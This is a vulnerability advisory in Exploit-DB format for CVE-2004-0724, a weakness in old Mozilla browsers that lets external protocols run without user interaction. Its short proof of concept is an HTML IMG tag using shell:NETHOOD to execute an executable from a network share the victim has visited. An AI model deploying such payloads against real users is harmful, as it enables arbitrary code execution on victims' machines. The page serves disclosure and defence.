Mozilla Internet Browser External Protocol Handling Weakness

vendor:

Mozilla Internet Browser

by:

Unknown

5.5

CVSS

MEDIUM

External Protocol Handling

CWE

Product Name: Mozilla Internet Browser

Affected Version From: All versions of Mozilla Internet Browser

Affected Version To:

Patch Exists: YES

Related CWE: CVE-2004-0724

CPE: a:mozilla:mozilla

Metasploit:

Other Scripts:

Platforms Tested: Windows, Linux, Mac

2004

Mozilla Internet Browser External Protocol Handling Weakness

Mozilla Internet Browser is prone to a weakness that allows an external protocol to be called without user interaction, potentially exposing users to vulnerabilities in the underlying operating system or default handler for the registered protocol. This weakness can be exploited to execute arbitrary files.

Mitigation:

Users are advised to be cautious when opening files or clicking on links from untrusted sources.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10681/info

Mozilla Internet Browser is reported prone to a weakness that may permit an external protocol to be called without any user interaction. This may expose Mozilla users to vulnerabilities that exist in the underlying operating system or in the software that is the default handler for a registered protocol.

Vulnerabilities in the applications that are invoked by a protocol, and vulnerabilities in the way a called protocol is handled by the host operating system may be exploited using this weakness in the Mozilla browser.

1. VICTIM VISITS A SHARED FOLDER NAMED "shared" ON A SERVER NAMED "X-6487ohu4s6x0p".
THIS WILL CREATE A SHORTCUT NAMED "shared on X-6487ohu4s6x0p" IN THE FOLDER AT "shell:NETHOOD"
2. VICTIM OPENS THIS HTML FILE WHICH EXECUTES A FILE NAMED "fileid.exe" IN THE
"shared" FOLDER:
<IMG SRC="shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe">